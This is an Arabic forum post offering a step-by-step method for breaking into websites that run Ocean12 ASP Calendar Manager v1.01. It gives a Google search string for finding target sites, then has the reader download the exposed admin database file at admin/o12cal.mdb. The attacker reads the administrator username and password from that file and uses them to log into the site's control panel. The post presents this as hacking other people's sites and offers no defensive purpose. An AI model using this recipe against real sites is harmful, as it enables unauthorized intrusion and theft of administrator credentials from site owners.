ثغرة كلندر ( calendar )

[هاوي حنانك]

السلام عليكم ورحمة الله وبركاته:-


امابعد


اقدم لكم ثغرة تهكير مواقع الكلندر


نبداء بسم الله الرحمن الرحيم


ندخل على جوجل و نضع

كود البحث:
Maintained with the Ocean12 ASP Calendar Manager v1.01
سوف يأتي لك العديد من المواقع تنتهي بـ Calendar


بعض المواقع بداخلها ثغرة على الأغلب

الثغره هي : admin/o12cal.mdb

مثال : http://www.XXXcom/calendar/date.asp?date=12/15/2009

طيب تضيف على الرابط بعد الكلندر


admin/o12cal.mdb

يصير الرااابط كذا : http://www.xxx.com/calendar/admin/o12cal.mdb

بعدين بتحمل القاعده وفيها الاسم والرقم


وادخل

اذا حملت قاعدة البيانات طلع اليوزر والباسوورد حقت الادمن


بعدين احذف


o12cal.mdb


راح يطلب منك تسجيل الدخول الى لوحة التحكم وحط اليوزر والباس الي طلعتهم


انتهى